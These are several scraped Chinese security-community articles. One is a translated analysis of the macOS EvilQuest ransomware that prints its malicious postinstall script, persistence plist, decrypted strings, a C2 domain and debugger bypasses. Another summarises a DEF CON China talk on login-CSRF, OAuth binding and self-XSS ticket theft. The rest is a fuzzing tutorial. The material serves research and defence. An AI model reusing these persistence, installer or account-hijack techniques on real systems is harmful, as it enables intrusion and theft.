return new CBCResult(crypt, res);
}
### 参考
我对Padding Oracle攻击的分析和思考（详细）：<https://www.freebuf.com/articles/web/15504.html>
Shiro Padding Oracle Attack 反序列化：<https://p0sec.net/index.php/archives/126/>
浅析Java序列化和反序列化：<https://xz.aliyun.com/t/3847>
marshalsec：<https://github.com/threedr3am/marshalsec> | 社区文章 |
# 交钱解密了还远控？新型MacOS勒索EvilQuest正在传播
##### 译文声明
本文是翻译文章，文章原作者 Patrick Wardle，文章来源：objective-see.com
原文地址：<https://objective-see.com/blog/blog_0x59.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
今天早些时候，[著名的](https://twitter.com/dineshdina04)恶意软件研究人员[Dinesh
Devadoss](https://twitter.com/dineshdina04)在推特上发布了一篇关于MacOS勒索软件的新推文，表示这是一种冒充Google软件更新程序的新型恶意软件。
MacOS平台的勒索比较少，但在此新型勒索开始出现时，[RansomWhere](https://objective-see.com/products/ransomwhere.html)表示他们可以很好的进行检测。所以我也准备分析分析该勒索，并且看看我的工具能够检测该勒索软件。
## 感染载体
从Dinesh的[推文中](https://twitter.com/dineshdina04/status/1277668001538433025)还暂时看不出来该勒索软件是如何感染macOS用户的。但是Malwarebytes的[Thomas
Reed](https://twitter.com/thomasareed?lang=en)指出该恶意软件是在流行torrent网站上共享的盗版macOS软件中发现的。
这是一种非常常见但是并不复杂的感染方式，目前有很多恶意软件都是通过这种方式进行传播。macOS恶意软件通过Torrent感染传播的其他示例包括：
[OSX.iWorm](https://www.virusbulletin.com/uploads/pdf/magazine/2014/vb201410-iWorm.pdf):
[OSX.Shlayer](https://www.intego.com/mac-security-blog/osxshlayer-new-mac-malware-comes-out-of-its-shell/):
Intego研究人员发现OSX /
Shlayer通过BitTorrent文件共享站点传播，当用户尝试选择链接来复制torrent磁铁链接时，它显示为伪造的Flash Player更新。
我们今天将要分析的样本打包在流行的DJ软件[Mixed In Key](https://mixedinkey.com/)(盗版)中，恶意软件未签名：
这意味着该软件在运行前MacOS将会弹框以获得用户的允许：
但是，使用盗版软件的macOS用户可能会忽略此警告并继续运行导致mac被感染。
## 分析
和上面讲的一样，该勒索软件是通过木马安装程序分发的。我们将深入研究的样本是通过名为Mixed In Key 8.dmg（SHA1:
98040c4d358a6fb9fed970df283a9b25f0ab393b）的磁盘映像分发的。
当前，该磁盘映像尚未由[VirusTotal](https://www.virustotal.com/gui/file/b34738e181a6119f23e930476ae949fc0c7c4ded6efa003019fa946c4e5b287a/detection)上的任何防病毒引擎标记（尽管随着AV引擎更新其签名数据库，这可能会更改
我们可以通过hdiutil挂载该磁盘映像：
$ hdiutil attach ~/Downloads/Mixed In Key 8.dmg
/dev/disk2 GUID_partition_scheme
/dev/disk2s1 Apple_APFS
/dev/disk3 EF57347C-0000-11AA-AA11-0030654
/dev/disk3s1 41504653-0000-11AA-AA11-0030654 /Volumes/Mixed In Key 8
挂载的磁盘映像（’/ Volumes / Mixed In Key 8 /‘）包含一个安装程序包Mixed In Key 8.pkg：
$ ls /Volumes/Mixed In Key 8/
Mixed In Key 8.pkg
我最喜欢的用于静态分析软件包（并从中提取文件）的工具是[Suspicious
Package](https://mothersruin.com/software/SuspiciousPackage/)
在使用Suspicious Package加载恶意软件之后，我们找到了（盗版的）Mixed In Key 8应用程序和名为”patch”的二进制文件：
单击“安装”选项卡后，我们找到安装后脚本：
#!/bin/sh
mkdir /Library/mixednkey
mv /Applications/Utils/patch /Library/mixednkey/toolroomd
rmdir /Application/Utils
chmod +x /Library/mixednkey/toolroomd
/Library/mixednkey/toolroomd &
很明显 ,在创建/Library/mixednkey目录后，程序会将一个二进制文件patch移动到该目录中，将其设置为可执行文件，然后启动它。
当安装程序在安装过程中请求root特权时，此脚本（以及toolroomd二进制文件）也将以root特权运行：
使用Suspicious Package我们可以同时对Mixed In Key 8应用程序和名为patch的二进制文件进行分析。由于Mixed In Key
8二进制文件仍然包含了开发人员的有效签名，因此它很可能是原始的且未经修改：
因此，我们将注意力转向toolroomd二进制文件。
toolroomd（原名为patch）是一个Mach-O格式的64位可执行应用程序。
$ file patch
patch: Mach-O 64-bit executable x86_64
$ codesign -dvv patch
patch: code object is not signed at all
$ shasum -a1 patch
efbb681a61967e6f5a811f8649ec26efe16f50ae patch
接下来，我们通过strings命令获取该应用程序的字符串：
$ string - patch
2Uy5DI3hMp7o0cq|T|14vHRz0000013
0ZPKhq0rEeUJ0GhPle1joWN30000033
0rzACG3Wr||n1dHnZL17MbWe0000013
system.privilege.admin
%s --reroot
--silent
--noroot
--ignrp
_generate_xkey
/toidievitceffe/libtpyrc/tpyrc.c
bits <= 1024
_get_process_list
/toidievitceffe/libpersist/persist.c
[return]
[tab]
[del]
[esc]
[right-cmd]
[left-cmd]
[left-shift]
[caps]
[left-option]
从strings输出中，我们找到了一些混淆的字符串、一些命令行参数，加密关键字和与keylogging相关的字符串。
通过nm指令，我们可以转储符号的名称（包括函数名称）：
nm patch
U _CGEventGetIntegerValueField
U _CGEventTapCreate
U _CGEventTapEnable
U _NSAddressOfSymbol
U _NSCreateObjectFileImageFromMemory
U _NSDestroyObjectFileImage
U _NSLinkModule
U _NSLookupSymbolInModule
U _NSUnLinkModule
U _NXFindBestFatArch
0000000100002900 T __construct_plist_path
000000010000a7e0 T __dispatch
0000000100009c20 T __ei_init_crc32_tab
000000010000b490 T __ei_rootgainer_elevate
00000001000061c0 T __generate_xkey
000000010000a550 T __get_host_identifier
0000000100007c40 T __get_process_list
00000001000094d0 T __home_stub
000000010000e0c0 T __is_target
000000010000ecb0 T __make_temp_name
0000000100000000 T __mh_execute_header
0000000100004910 T __pack_trailer
000000010000a170 T __react_exec
000000010000a160 T __react_host
000000010000a470 T __react_keys
000000010000a500 T __react_ping
000000010000a300 T __react_save
0000000100009e80 T __react_scmd
000000010000a460 T __react_start
00000001000072d0 T __rotate
00000001000068a0 T __tp_decrypt
0000000100006610 T __tp_encrypt
00000001000049c0 T __unpack_trailer
0000000100002550 T _acquire_root
U _connect
00000001000085a0 T _create_rescue_executable
000000010000ba50 T _ei_carver_main
0000000100001590 T _ei_forensic_sendfile
0000000100001680 T _ei_forensic_thread
0000000100005b00 T _ei_get_host_info
0000000100006050 T _ei_get_macaddr
000000010000b9b0 T _ei_loader_main
000000010000c9a0 T _ei_loader_thread
0000000100009650 T _ei_pers_thread
000000010000b880 T _ei_persistence_main
0000000100001c30 T _ei_read_spot
000000010000b580 T _ei_rootgainer_main
0000000100003670 T _ei_run_file
0000000100003790 T _ei_run_memory_hrd
0000000100009550 T _ei_run_thread
0000000100001a10 T _ei_save_spot
000000010000b710 T _ei_selfretain_main
000000010000de60 T _eib_decode
000000010000dd40 T _eib_encode
000000010000dc40 T _eib_pack_c
000000010000e010 T _eib_secure_decode
000000010000dfa0 T _eib_secure_encode
0000000100013660 D _eib_string_fa
0000000100013708 S _eib_string_key
000000010000dcb0 T _eib_unpack_i
0000000100007570 T _eip_decrypt
0000000100007310 T _eip_encrypt
0000000100007130 T _eip_key
00000001000071f0 T _eip_seeds
0000000100007aa0 T _is_debugging
0000000100007bc0 T _is_virtual_mchn
0000000100002dd0 T _lfsc_dirlist
00000001000032c0 T _lfsc_get_contents
000000010000fa50 T _lfsc_match
00000001000033e0 T _lfsc_pack_binary
000000010000f720 T _lfsc_parse_template
0000000100003500 T _lfsc_unpack_binary
0000000100008810 T _persist_executable
0000000100008df0 T _persist_executable_frombundle
U _popen
0000000100007c20 T _prevent_trace
拨云雾而见青天，通过nm的输出，我们看到了与以下内容相关的方法和函数名：
1. keylogging相关，如_CGEventTapCreate、_CGEventTapEnable等。
2. 内存代码执行相关，如_NSCreateObjectFileImageFromMemory、_NSLinkModule等。
3. 反调试相关，如_is_debugging、_is_virtual_mchn等。
4. 反检测相关，如__get_host_identifier、__get_process_list等。
5. 本地持久化，如_persist_executable、_persist_executable_frombundle等。
6. 加密，勒索相关，如_eip_encrypt。
这似乎并不是一个”简单的勒索软件”
该对patch程序进行调试了。
toolroomd(patch)二进制文件的核心逻辑发生在其主要功能内。
在检查了各种命令行参数（—silent，—noroot和—ignrp）之后，它执行一个名为is_virtual_mchn的函数，如果返回true则退出：
if(is_virtual_mchn(0x2) != 0x0) {
exit();
}
让我们仔细分析一下这个函数，因为我们要使其不检测虚拟机中的调试会话：
int _is_virtual_mchn(int arg0) {
var_10 = time();
sleep(argO);
rax = time();
rdx = 0x0;
if (rax - var_10 < arg0) {
rdx = 0x1;
}
rax = rdx;
return rax;
}
该代码调用time两次，中间插入一个sleep……然后比较两个调用之间的差异是否与time系统睡眠的时间相匹配。通过这种方式就可以判断patch是否运行在沙箱中：
>
> 睡眠修补程序沙盒将修补睡眠功能，以试图克服使用时间延迟的恶意软件。作为响应，恶意软件将检查时间是否已加速。恶意软件将获取时间戳，进入睡眠状态，然后在唤醒时再次获取时间戳。时间戳记之间的时间差应与恶意软件被编程为休眠的时间长度相同。如果不是，则该恶意软件会知道它正在修补睡眠功能的环境中运行，这只会在沙箱中发生
这意味着，实际上，该功能更多是沙箱检查，并且可能无法检测到虚拟机。对于我们的调试工作而言，这是个好消息！
接下来，该恶意软件调用了一个名为extract_ei的方法，该方法尝试从自身的尾部读取0x20字节的数据，但是，由于unpack_trailer（由extract_ei调用）函数在对0DEADFACEh检查的时候返回了false。因此该样本中似乎并不存在符合的尾部数据。
;rcx: trailer data
__text:0000000100004A39 cmp dword ptr [rcx+8], 0DEADFACEh
__text:0000000100004A40 mov [rbp+var_38], rax
__text:0000000100004A44 jz leave
在没有找到预定义数据的情况下，该样本跳过了某些持久性逻辑……看起来像是在保留一个守护程序的逻辑：
;rcx: trailer data
if (extract_ei(*var_10, &var_40) != 0x0) {
_persist_executable_frombundle(var_48, var_40, var_30, *var_10);
_install_daemon(var_30, _ei_str("0hC|h71FgtPJ32afft3EzOyU3xFA7q0{LBx..."),
_ei_str("0hC|h71FgtPJ19|69c0m4GZL1xMqqS3kmZbz3FWvlD..."), 0x1);
var_50 = _ei_str("0hC|h71FgtPJ19|69c0m4GZL1xMqqS3kmZbz3FWvlD1m6d3j0000073");
var_58 = _ei_str("20HBC332gdTh2WTNhS2CgFnL2WBs2l26jxCi0000013");
var_60 = _ei_str("1PbP8y2Bxfxk0000013");
...
_run_daemon_u(var_50, var_58, var_60);
...
_run_target(*var_10);
}
程序混淆了我们感兴趣的各种值（例如守护程序的名称/路径）。但是，看起来_ei_str函数负责去模糊处理：
查看它的反编译，我们看到一个名为_eib_string_key的变量的一次性初始化，然后调用名为_eib_secure_decode的函数（它调用了名为_tpdcrypt的方法）：
int _ei_str(int arg0) {
var_10 = arg0;
if (*_eib_string_key == 0x0) {
*_eib_string_key = _eip_decrypt(_eib_string_fa, 0x6b8b4567);
}
var_18 = 0x0;
rax = strlen();
rax = _eib_secure_decode(var_10, rax, *_eib_string_key, &var_18);
var_20 = rax;
if (var_20 == 0x0) {
var_8 = var_10;
}
else {
var_8 = var_20;
}
rax = var_8;
return rax;
}
通常，我们不必担心去混淆（或解密）算法的细节，因为我们可以简单地在函数末尾设置调试器断点，并打印出纯文本字符串(通常解密之后的值会存放在eax中)。
但是至少让我们转储解密密钥（_eib_string_key）：
(lldb) x/s $rdx
0x1001004c0: "PPK76!dfa82^g"
由于该样本貌似不包含预定义的数据，因此将跳过此特定代码块……但是，该恶意软件随后调用了一个名为_ei_persistence_main（也可以持久化该恶意软件）的函数。
在执行在持久化之前操作之前，_ei_persistence_main会执行各种反调试操作以防止动态调试。具体来说，它首先调用一个名为is_debugging的函数。is_debugging方法在地址0000000100007AA0处实现。此外，程序还通过CTL_KERN、KERN_PROC、KERN_PROC_PID和getpid（）等函数判断是否在调试环境中。一旦获取到返回，程序将检查P_TRACED
是否被设置，这是一种很常见的反调试检测思路。
如果is_debugging函数返回1（true），则恶意软件将退出：
__text:000000010000B89A call _is_debugging
__text:000000010000B89F cmp eax, 0
__text:000000010000B8A2 jz continue
__text:000000010000B8A8 mov edi, 1
__text:000000010000B8AD call _exit
想要在调试器中绕过它，我们只需要在0x000000010000B89F处设置断点，然后将RAX寄存器的值更改为0（false）：
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
-> 0x10000b89f: cmpl $0x0, %eax
0x10000b8a2: je 0x10000b8b2
0x10000b8a8: movl $0x1, %edi
0x10000b8ad: callq 0x10000feb2
Target 0: (patch) stopped.
(lldb) reg read $rax
rax = 0x0000000000000001
(lldb) reg write $rax 0
(lldb) c
但是！该恶意软件的反调试不止这一处，程序还通过_prevent_trace函数进行反调试检测：
__text:0000000100007C20 _prevent_trace proc near
__text:0000000100007C20 push rbp
__text:0000000100007C21 mov rbp, rsp
__text:0000000100007C24 call _getpid
__text:0000000100007C29 xor ecx, ecx
__text:0000000100007C2B mov edx, ecx ; addr
__text:0000000100007C2D xor ecx, ecx ; data
__text:0000000100007C2F mov edi, 1Fh ; request
__text:0000000100007C34 mov esi, eax ; pid
__text:0000000100007C36 call _ptrace
__text:0000000100007C3B pop rbp
__text:0000000100007C3C retn
__text:0000000100007C3C _prevent_trace endp
要绕过这一点，我们只需避免调用_prevent_trace,我们可以在调用这个函数时设置一个断点，然后修改指令指针（RIP）的值跳过它！
(lldb) b 0x000000010000B8B2
Breakpoint 12: where = patch`patch[0x000000010000b8b2], address = 0x000000010000b8b2
(lldb) c
Process 683 resuming
Process 683 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1
-> 0x10000b8b2: callq 0x100007c20
0x10000b8b7: leaq 0x7de2(%rip), %rdi
0x10000b8be: movl $0x8, %esi
0x10000b8c3: movl %eax, -0x38(%rbp)
Target 0: (patch) stopped.
(lldb) reg write $rip 0x10000b8b7
(lldb) c
十分简单！现在，我们可以不受干扰地继续进行动态分析。
顾名思义,ei_persistence_main可实现恶意软件的持久化，但是，在进行持久化之前，它会调用一个名为kill_unwanted杀死所有可能检测或阻止恶意行为的知名安全产品的函数。
kill_unwanted函数获取正在运行的进程的列表，将每个进程与“不需要的”程序的加密列表进行比较。使用前面提到的ei_str函数断点，我们可以转储解密的字符串，以确定“不需要的”程序的值：
(lldb) x/s $rax
0x100108fd0: "Little Snitch"
(lldb) x/s $rax
0x100100880: "Kaspersky"
(lldb) x/s $rax
0x1001028a0: "Norton"
(lldb) x/s $rax
0x10010a2f0: "Avast"
(lldb) x/s $rax
0x10010a300: "DrWeb"
(lldb) x/s $rax
0x100102eb0: "Mcaffee"
(lldb) x/s $rax
0x100109d20: "Bitdefender"
(lldb) x/s $rax
0x100109d30: "Bullguard"
我相信有一天，Objective-See的工具会列出这样的清单！哈哈！
最终，ei_persistence_main执行，成功实现恶意软件的本地持久化。我们可以通过文件监视器和/或在调试器中观察到这一点。
首先，我们观察到恶意软件解密了与持久性相关的各种字符串：
(lldb) x/s $rax
0x100118fd0: "/Library/AppQuest/com.apple.questd"
(lldb) x/s $rax
0x1001190f0: "%s/Library/AppQuest/com.apple.questd"
文件监视器（例如macOS的fs_usage）显示了恶意软件向其写入二进制文件~/Library/AppQuest/com.apple.questd，然后创建启动代理属性列表以保留该二进制文件：
# fs_usage -w -f filesystem
open ~/Library/AppQuest/com.apple.questd
...
chmod ~/Library/AppQuest/com.apple.questd
...
WrData[A] ~/Library/LaunchAgents/com.apple.questd.plist
com.apple.questd只是恶意软件的一个副本，我们可以通过com.apple.questd.plist的内容发现一些有趣的东西：
x/s $rax
0x100119540: "<?xml version="1.0" encoding="UTF-8"?>n<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">n<plist version="1.0">n<dict>n<key>Label</key>n<string>%s</string>nn<key>ProgramArguments</key>n<array>n<string>%s</string>n<string>--silent</string>n</array>nn<key>RunAtLoad</key>n<true/>nn<key>KeepAlive</key>n<true/>nn</dict>n</plist>"
比如填充com.apple.questd二进制文件的完整路径：
cat /Users/user/Library/LaunchAgents/com.apple.questd.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>questd</string>
<key>ProgramArguments</key>
<array>
<string>/Users/user/Library/AppQuest/com.apple.questd</string>
<string>--silent</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
</dict>
由于RunAtLoad密钥设置为true恶意软件（现在称为com.apple.questd），因此每次用户登录时都会自动重新启动。
当然[BlockBlock](https://objective-see.com/products/blockblock.html)会检测到这种持久性尝试
一旦确定恶意软件能够持久存在，它似乎就会对其进行复制（复制到~/Library/.9W4S5dtNK，并附带一个预定义数据：
通过流程监视器，我们可以观察到恶意软件，然后通过launchctl submit -l 命令启动此副本：
[procInfo] process start:
pid: 737
path: /bin/launchctl
user: 501
args: (
launchctl,
submit,
"-l",
questd,
"-p",
"/Users/user/Library/.9W4S5dtNK"
)
[procInfo] process start:
pid: 738
path: /Users/user/Library/.9W4S5dtNK
user: 0
...
注意：
该恶意软件也可能会继续存在于/ Library / mixnkey / toolroomd
因此，现在该恶意软件已经持久存在并启动了自身的新配置（即带有“trailer”数据）实例。现在样本可以实现很多功能了：
首先，它将开始加密用户的文件。具体来说，它调用一个名为carve_target的函数，该函数通过eip_encrypt对文件进行加密。文件加密完成后，它将创建一个文本文件，名称READ_ME_NOW为勒索提示我文件：
为确保用户读取此文件，它显示以下模式提示符，并通过macOS内置的“语音”功能大声朗读它：
幸运的是[RansomWhere](https://objective-see.com/products/RansomWhere.html)可以检测到该勒索病毒。
该恶意软件还会查找一些有趣的文件，例如
“wallet.pdf”
“wallet.png”
“key.png”
“*.p12”
此外，它还调用一个名为eilf _rglk_watch_ 的函数，通过CGEventTapCreate Apple API启动一个键盘记录器。
另外，一个名为dispatch（位于address
0x000000010000A7E0）的函数似乎可以处理来自命令和控制服务器（andrewka6.pythonanywhere.com）的任务。这些任务包括：
1. 执行命令
2. 启动键盘记录器
3. 直接在内存中执行模块
最后，如果满足某些先决条件，恶意软件也可能尝试创建反向shell。
有了这些功能，攻击者就可以完全控制受感染的主机！
## 结论
今天，我们对一个有趣的新恶意软件进行了分析-详细介绍了其持久性和功能。
尽管是新的，但我们的（免费！）工具，例如[BlockBlock](https://objective-see.com/products/blockblock.html)和[RansomWhere](https://objective-see.com/products/ransomwhere.html)能够在没有分析的情况下检测并阻止此类的攻击。
## IOC
/Library/mixednkey/toolroomd
~/Library/AppQuest/com.apple.questd
~/Library/LaunchAgents/com.apple.questd.plist | 社区文章 |
# DEFCON CHINA议题解读 | 你上我的帐号！你要干啥？（PPT下载）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## DEFCON CHINA世界顶级黑客大会
全球顶级安全会议“御·见未来”2018首届DCCB（DEF CON CHINA Baidu）安全行业国际峰会在北京正式开幕，大会由DEF
CON和百度安全联合主办。DEF CON是全球安全领域的顶级会议，被誉为安全界“奥斯卡”，由全球最具影响力形象最正面的极客Jeff
Moss创办，迄今已有25年历史。大会共设议题演讲，CTF比赛、Hack Villages三大板块。本届DEF CON CHINA将延续DEF
CON传统议程和赛制，召集全球网络顶尖安全专家与技术爱好者汇集于此，分享时下前沿安全技术与课题研究成果。
开幕首日，议题演讲的现场就爆满，用people mountain people sea来形容,绝不夸张。
安全客将会对大会的议题演讲和Hack Villages进行系列报道，Now，让我们一起来了解今天呆子不开口老师分享的议题《你上了我的账号》。
正常攻击者的思维都是找到漏洞，主动攻击，但是呆子不开口老师为我们提供了一个 **新的思路**
。使用常见的漏洞诱导受害者主动上勾登陆攻击者的账号，再结合一些其他的漏洞，进而窃取受害者的信息。
## 讲师介绍
呆子不开口，资深安全从业者
* 擅长web漏洞挖掘和安全架构
* 锤子手机软文大赛一等奖获得者
* 喜欢的运动是足球
* 喜欢的球星是厄齐尔
## 《你上了我的账号》议题概要
**PPT下载链接：<https://pan.baidu.com/s/1iNUr1tB-mP97jw4OKzB9iw>**
本议题介绍了一些互联网上诱导受害者登录攻击者账号的方式，以及由此产生的一些漏洞和攻击场景，同时也会聊聊如何修复此类问题。这种安全风险往往被人忽视，但它可以给某些漏洞利用过程提供重要的帮助，甚至结合csrf、selfxss、oauth、sso的一些低危漏洞或特性可以形成盗取登录凭证、第三方后门账号、窃取隐私、钓鱼攻击、盗取资源、冒用身份等攻击。
未知攻焉知防， **不因善小而不为，不以洞小就不修！**
开场呆子不开口老师先介绍了曾经发现的“上别人账号”的漏洞，仔细一看，互联网上诱导受害者登录攻击者账号的方式真是五花八门，各有门路。 ****
## 互联网上诱导受害者登录攻击者账号的方式
### 1、login csrf
登录表单没有做csrf防护，可以直接让受害者使用攻击者的用户密码登录
例如：浏览器会记录用户的上网行为，如果用户登陆了攻击者的账号，那么他的上网行为就会被攻击者了解。
### 2、Setcookie
一些网站有setcookie的接口，可以用来设置登录cookie
<http://www.website.com/setcookie.php?key=XXXXXXXX>
### 3、链接传递登陆凭证
一些网站或者app有接受票据的接口，可以用来完成登陆
<http://login.website.com/sso.php?token=XXXXXXXX>
URL Scheme传递密码或凭证
### 4、二维码扫描登陆
本地调接口生成二维码，扫描授权，轮询查询接口后拿到授权成功后的链接，让受害者访问链接完成登录，比如
[https://wx.website.com/cgi-bin/mmwebwx-bin/webwxnewloginpage?ticket=XXXXXX&uuid=gab7NVa-HA==&lang=zh_CN&scan=1525192841](https://wx.website.com/cgi-bin/mmwebwx-bin/webwxnewloginpage?ticket=XXXXXX&uuid=gab7NVa-HA==&lang=zh_CN&scan=1525192841)
### 5、第三方账号登陆
先登录攻击者的账号，再利用可能存在缺陷的地第三方攻击者账号登陆
### 6、社会工程学
直接和目标用户进行物理接触，比如线下网友见面，直接面对面沟通套取对方的姓名／生日／年龄／住址等信息。
## 产生的一些漏洞和攻击场景
##
## 登录攻击者的网站账号
**场景一：上网行为**
**用户产生行为，攻击者来读取**
* 搜索网站的搜索记录
* 一些视频网站的浏览记录
**攻击者写入内容，影响用户行为**
* 影响搜索记录，变相内容推荐
* 可能的钓鱼攻击，邮件引导用户打开网站，内容是由攻击者控制的
**场景二：用户输入**
**用户不知情输入内容，攻击者读**
* 对方在支付时，输入信用卡号
* 钓鱼邮件诱导用户在合法页面输入收货地址
* 记事本类网站输入日程安排和隐私信息
**场景三：第三方网站交互**
**第三方跨域提交，攻击者读**
* 第三方站敏感信息读取
**攻击者写，第三方跨域使用**
* 比如第三方站点www.mepsite.com跨域从www.website.com获取信息，可能导致xss攻击<script src=”http://www.website.com/api.php?jsonp=XXXXX”></script>
* 通过Oauth授权绑定第三方账号的场景，可能导致受害者绑定了攻击者的第三方账号
## Oauth授权绑定第三方账号
1、某站绑定某微博网站登陆的请求为<http://www.website.com/oauth/redirect/bind/weibo?next=/oauth/callback>此请求并未做csrf防护，攻击者可以在第三方网页中伪造此请求
2、某微博的授权有如下特点，如果当前登陆的微博曾经授权过此应用，那么就会无需用户确认，会自动完成授权过程，网站会自动绑定此微博账号
3、所以我们可以找一个此微博站登陆的csrf漏洞，诱导受害者自动登陆攻击者的微博。然后再让用户访问绑定请求，这样就完成了对攻击者微博的绑定。这样攻击者使用他的微博登陆就可以进入受害者的网站账号[http://www.website.com/oauth/bindweibo?platform=weibo&state=XXXXXXX&code=XXXXXXXXXXXX](http://www.website.com/oauth/bindweibo?platform=weibo&state=XXXXXXX&code=XXXXXXXXXXXX)
**一些实用的小技巧**
1、有些授权页要求强行登录，可以尝试修改参数为forcelogin=false
2、有的callback请求没有校验state。可以直接使用下面链接完成绑定[https://api.mouweibo.com/oauth2/authorizeclient_id=3977697501&redirect_uri=xxxxxxxxx&response_type=code&state=xxxx&forcelogin=false](https://api.mouweibo.com/oauth2/authorizeclient_id=3977697501&redirect_uri=xxxxxxxxx&response_type=code&state=xxxx&forcelogin=false)
3、有的state校验是校验cookie的，也可能有setcookie的接口。曾有个站：State存在cookie中，而且存储格式是这样XXXXXX=state，只要能控制value即可
## 登录攻击者的网站账号
**场景一：利用对方上网环境**
1、对方的员工或者内网的白名单IP或白名单浏览器的突破
2、盗号后对溯源的干扰
3、利用网友的环境恶意发帖
**场景：场外的人**
攻击者账号的内容被其他人看到，比如对方女友，或者警察。可以诬陷受害人
## 登录关联账号
如果被攻击者恶意绑定，相当于被盗号。
**攻击方式** ：logincsrf
例如
1、一些网站允许用户绑定另外一个站内其他账号，然后可以同时管理两个账号；
2、一些网站允许用户绑定第三方账号，和第三方站可以互相登录；
## 登录浏览器账号
可以窃取隐私、安装恶意插件。
**攻击方式** ：logincsrf、伪造自动登录链接、社工
例如
1、浏览器的云账号，可以同步收藏夹和扩展，或者同步浏览器配置
2、模拟浏览器账号登录界面的请求，在一些特定页中可以实现浏览器的登录
## app类攻击场景
如果受害者的网盘、备忘录类app登录了攻击者账号，从此手机端信息同步给攻击者，比如照片、日程等等
**攻击方式**
Webview登录、url schemes接收凭证
## 后台配置类攻击场景
配置数据库账号、ftp账号、memcache等存储服务的账号
**攻击方式** ：csrf
## 登录路由器云账号
攻击者登录app，可以获得隐私信息、劫持DNS…
**攻击方式** ：社工、logincsrf
例如
1、路由器管理界面可以配置云账号。路由器可以通过app来管理
2、攻击者可以获取受害者的上网终端信息，修改受害者的上网配置信息
## 智能家居
可以偷拍、监控出轨….（当然也可以是别的）
**攻击方式** ：社工、漏洞接口
例如
1、摄像头的云账号可以查看实时画面
2、体重秤的云账号可以查看体重记录
## 攻击者账号的内容有selfxss
selfxss的鸡肋：盗取cookie和对自己的资源操作是无意义的
还可以做很多事，例如
1、浏览器端存储的操作（存储xss、污染缓存……）
2、同源策略可以攻击其他域
3、钓鱼偷取密码
4、偷其他域传递过来的信息
selfxss攻击需要对方先登录攻击者账号
## Selfxss操作浏览器端存储
1、A.website.com的自动登录+A.website.com的selfxss+B. website.com的cookiexss=B.
website.com的reflect xss
2、localstorage污染等等
## selfxss
如果B.weisite.com的document.domain=weisite.com
A.weisite.com同源策略可以攻击B.weisite.com
## selfxss钓鱼
* 钓鱼偷取密码
* 钓鱼进行诈骗
## selfxss偷其他域传递过来的信息
http://sso.mepsite.com/login.php?appurl=http://A.website.com/selfxss.php
sso.mepsite.com给A.website.com传递了ticket
1、http://A.website.com/selfxsspage.php?ticket=XXXXXXXX
selfxss获取Window.location
2、http://A.website.com/login.php?ticket=XXXXXXXX
js跳转到http://A.website.com/selfxsspage.php
selfxss获取referer
3、http://A.website.com/login.php?ticket=XXXXXXXX
302跳转到http://A.website.com/selfxsspage.php
* selfxss先种超长cookie
* 再创建iframe，src=http://sso.mepsite.com/login.php?appurl=http://A.website.com/selfxss.php
* http://A.website.com/login.php?ticket=XXXXXXXX会加载失败，然后使用iframe.contentWindow.location.href读取最后的iframe的当前地址，从而得到ticket
拒绝服务还有个好处，突破某些ticket有防重放的保护
# 修复方案
敲黑板！ **未知攻焉知防** ，了解攻击思路，最重要的是提醒大家不要放过任何漏洞，尽量杜绝所有可能出现的安全隐患哇！
1、登录表单、换取凭证、退出登录等请求都需要做csrf防护、来源签名校验等
2、页面醒目显示登录用户名
3、 **不因善小而不为，不以洞小就不修**
欢迎对web漏洞挖掘和安全架构方向感兴趣和对如何能做一个优雅的段子手感兴趣的同学们，关注一波！
呆子不开口老师博客 ：<http://lvwei.me>，以及微博 <http://weibo.com/lvwei> 。
**PPT下载链接：<https://pan.baidu.com/s/1iNUr1tB-mP97jw4OKzB9iw>** | 社区文章 |
# 从零开始学习fuzzing之理解代码覆盖的重要性
|
##### 译文声明
本文是翻译文章，文章原作者 h0mbre，文章来源：h0mbre.github.io
原文地址：<https://h0mbre.github.io/Fuzzing-Like-A-Caveman-3/#>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这是“从零开始学习fuzzing”的第三篇文章，我们会继续fuzzing的菜鸟学习之路，从代码覆盖(code
coverage)的角度对我们之前编写的模糊测试器进行探讨，并说明其重要性。据我所知，代码覆盖概括来讲指的是模糊测试器的输入对目标程序代码的覆盖范围。也就是说，模糊测试器的输入所能覆盖的代码范围越广，攻击面就越大，测试就越全面。除此之外，还有一些我尚未了解的内容。
我最近一直在提升自己的pwn技能，但为了保持状态也在中途休息一下，编写了一些C语言代码，并观看了[@gamozolabs](https://github.com/gamozolabs
"@gamozolabs")的直播。 [@gamozolabs](https://github.com/gamozolabs
"@gamozolabs")在他的一个直播中强调了代码覆盖的重要性，我并没有截取这部分内容，但是也留下的足够的印象，让我在自己的测试中创建了一些测试用例，从而说明普通的模糊测试器远没有注重代码覆盖的模糊测试器有效果。你要做好准备阅读一些（可能并不正确的🤣）八年级概率论知识了。在阅读完本文之后，读者至少应该能广泛地了解到1990年最先进的模糊测试器的工作原理了。
## 我们的模糊测试器
我们现在已经有一个漂亮，没有错误且编写完美的单线程基于变异的模糊测试器了，它能够对JPEG文件进行模糊测试，在[上一篇文章](https://www.anquanke.com/post/id/202989)中，我们将其移植到了C语言中，并针对实验需求进行了一些调整。
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>
int crashes = 0;
struct ORIGINAL_FILE {
char * data;
size_t length;
};
struct ORIGINAL_FILE get_data(char* fuzz_target) {
FILE *fileptr;
char *clone_data;
long filelen;
// open file in binary read mode
// jump to end of file, get length
// reset pointer to beginning of file
fileptr = fopen(fuzz_target, "rb");
if (fileptr == NULL) {
printf("[!] Unable to open fuzz target, exiting...n");
exit(1);
}
fseek(fileptr, 0, SEEK_END);
filelen = ftell(fileptr);
rewind(fileptr);
// cast malloc as char ptr
// ptr offset * sizeof char = data in .jpeg
clone_data = (char *)malloc(filelen * sizeof(char));
// get length for struct returned
size_t length = filelen * sizeof(char);
// read in the data
